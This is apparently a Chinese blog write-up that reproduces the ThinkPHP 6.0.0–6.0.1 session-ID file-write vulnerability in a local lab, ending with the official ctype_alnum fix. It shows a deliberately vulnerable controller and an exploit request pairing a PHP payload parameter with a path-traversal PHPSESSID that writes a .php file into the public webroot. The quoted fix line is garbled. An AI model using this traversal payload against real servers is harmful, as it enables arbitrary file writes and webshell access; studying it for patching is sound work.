ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现

ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现

漏洞名称

漏洞描述

2020年1月10日,ThinkPHP团队发布一个补丁更新,修复了一处由不安全的SessionId导致的任意文件操作漏洞。该漏洞允许攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件,在特定情况下还可以getshell。

影响版本

ThinkPHP 6.0.0

ThinkPHP 6.0.1

漏洞复现

环境搭建

受害者IP:192.168.10.145

攻击者IP:127.0.0.1

安装thinkphp6

下载PHPstudy_pro,网上一堆自己找吧,链接不推了。

利用PHPStudy_pro对环境进行安装Composer2.5.8

创建网站,域名think6,会在think6目录下生成.htaccess文件和nginx.htaccess文件,将这两个文件移动到上个目录,也就是www目录下。

打开composer,composer2.5.8,php>=7.2


在www目录下面执行这个命令

bash 复制代码
cd ../
composer create-project topthink/think think6(think6自定义,这个会生成一个文件夹)  

将 think6/composer.json 文件的 "topthink/framework": "^6.0.0" 改成 6.0.0 版本,并执行更新命令

bash 复制代码
进入tp6目录
cd tp6
composer update

在本地访问网站为6.0.0,则成功搭建。

漏洞信息配置

构造位置:think6\app\controller\Index.php

需要增加构造的内容:

bash 复制代码
use think\facade\Session;
session::set('demo',$_GET['c']);

/think6/app/middleware.php 文件开启session,去掉注释session的//

漏洞利用

构造参数c和phpsessid;

bash 复制代码
index?c=<?php phpinfo();?>
PHPSESSID=../../../../public/1omg12377.php

访问public目录下的1omg12377.php文件。

修复建议

官方修复建议:对session id 加一个过滤,使用ctype_alnum()

bash 复制代码
$this->id = is_string($id) && strlen($id) === 32 ctype_alnum($id) && ? $id : md5(microtime(true) . session_create_id());
相关推荐
ESBK202528 分钟前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec1 小时前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf
七牛云行业应用1 小时前
Moltbook一夜崩盘:150万密钥泄露背后的架构“死穴”与重构实战
网络安全·postgresql·架构·高并发·七牛云
原来是你~呀~2 小时前
Strix:AI驱动的全自动安全测试平台,LinuxOS部署
网络安全·自动化渗透测试·strix
fendouweiqian2 小时前
AWS WAF(配合 CloudFront)基础防护配置:免费能做什么、要不要开日志、如何限制危险方法
网络安全·aws·cloudfront
乾元2 小时前
终端安全(EDR):用深度学习识别未知勒索软件
运维·人工智能·网络协议·安全·网络安全·自动化·安全架构
Whoami!3 小时前
⓫⁄₁₃ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 利用Windows计划任务提权
网络安全·信息安全·利用windows计划任务提权
虚构之人1 天前
二进制漏洞挖掘(WinAFL Fuzzing)Windows篇
汇编·网络安全·信息安全·系统安全
原来是你~呀~1 天前
CAI:人机协作的模块化网络安全AI框架
网络安全·自动化渗透测试
xixixi777771 天前
今日 AI 、通信、安全前沿日报(2026 年 2 月 5 日,星期四)
人工智能·网络安全·ai·信息安全·大模型·通信·前沿